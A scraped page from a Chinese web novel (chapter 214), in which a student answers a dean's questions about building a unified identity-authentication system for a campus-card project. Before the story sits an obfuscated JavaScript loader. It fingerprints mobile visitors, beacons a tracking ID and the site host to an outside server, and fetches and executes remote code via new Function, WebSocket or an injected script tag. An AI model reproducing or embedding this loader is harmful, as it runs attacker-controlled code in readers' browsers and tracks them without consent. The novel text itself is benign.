第214章 难不倒(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
等张高阳出了院长办公室后,骆俊鹏又转向了余文钢:“小余,数字化校园这一概念,是国家在去年才提出来的,因此学校根本就还没建立统一的的信息化系统,在这种情况下,你的校园卡项目怎样来起步?”
他问出了一个很有技术含量的问题。
数字化校园,这一概念涵盖的范围是非常广泛的,既包括校园网工程等网络通讯系统,也包括学籍管理、教学管理、科研管理、办公管理、技术服务、生活服务等,还包括校园内的消费和金融服务等。
按照数字化校园的设计要求,以下几点是核心:
一是建立统一的信息标准;
二是构建统一的信息门户;
三是构建统一的身份认证系统;
四是构建安全可靠的公共数据交换系统;
五是建设先进实用的应用支撑系统。
也就是说,在江大目前尚未构建统一的信息系统的情况下,余文钢要想开始校园卡项目,就得从零开始,先构建信息系统的雏形,再来开始校园卡项目的开发设计。
这难度可比在有现成信息系统支持的情况下再来开发校园卡项目要大得多。
在提出这个问题后,骆俊鹏心想,一旦余文钢的应对稍有差池,稍不符合数字化校园信息系统的设计要求,他就立即出声制止他,让他暂停这不切实际的项目想法。
“没统一的信息化系统没关系,我先从构建统一的身份认证系统入手,有了这套统一的身份认证系统,以后与数字化校园相关的项目,都可以通过这套身份认证系统来对接。”
余文钢的应对立即就来了。
骆俊鹏又大吃了一惊。
在他刚才的问题中,其实是有陷阱的,陷阱就在于数字化校园信息系统中不同项目之间的信息统一对接,而统一对接的关键就在于建立统一的身份认证系统。
没有统一的身份认证系统,任何项目都是白谈。
也就是说,余文钢应对一下就抓住了问题的核心,让骆俊鹏根本就没有挑刺的机会。
“那你这套身份认证系统有怎样来建立呢?”
骆俊鹏追问道。
这又是一个有陷阱的问题。
在任何信息系统中,都是必备独立的身份认证系统的,打个比方说,大家所熟悉的论坛,其用户名加密码就是一套最为简单的身份认证系统。
而在涉及到管理、服务、消费的系统中身份认证系统所包含的内容则更为复杂,很多都要求使用者具备真实、唯一、明确的身份。
以大家所熟悉的银行卡为例。
银行卡的身份认证系统内所包含的信息,除了卡号、密码以外,还得有使用者的身份证号码、联系电话等,以将卡号和真实身份相对应,这样一来,使用者对银行卡进行任何操作,都具备了可查、不可抵赖的特征。
从某种意义上来说,校园卡的身份认证系统是跟银行卡较为接近的,但它比银行卡要求更高的是,持有者还必须具备江大的学生或者是教职工身份。
陷阱就在于这里。
在银行卡的应用中,使用者只要有身份证,就可以凭身份证去银行开卡,就算卡被丢了,也可以凭身份证去银行挂失、换卡。
也就是说,身份证号就是银行卡身份认证系统的关键字段。
而在校园卡业务中,使用者仅有身份证是不够的,还得具备江大的师生身份,这么一来,身份证号就不再适合来充当身份认证系统的关键字段。
“很简单,利用江大现有学籍号、教籍号来建立完整的身份认证系统。”
余文钢的回应还是非常快捷,几乎是不加思索。
骆俊鹏:“……”
连这也难不倒他?
他又一次惊讶了。
他开始意识到,余文钢之所以准备着手校园卡项目,并不是简单的拍脑袋的想法,而是经过了深思熟虑。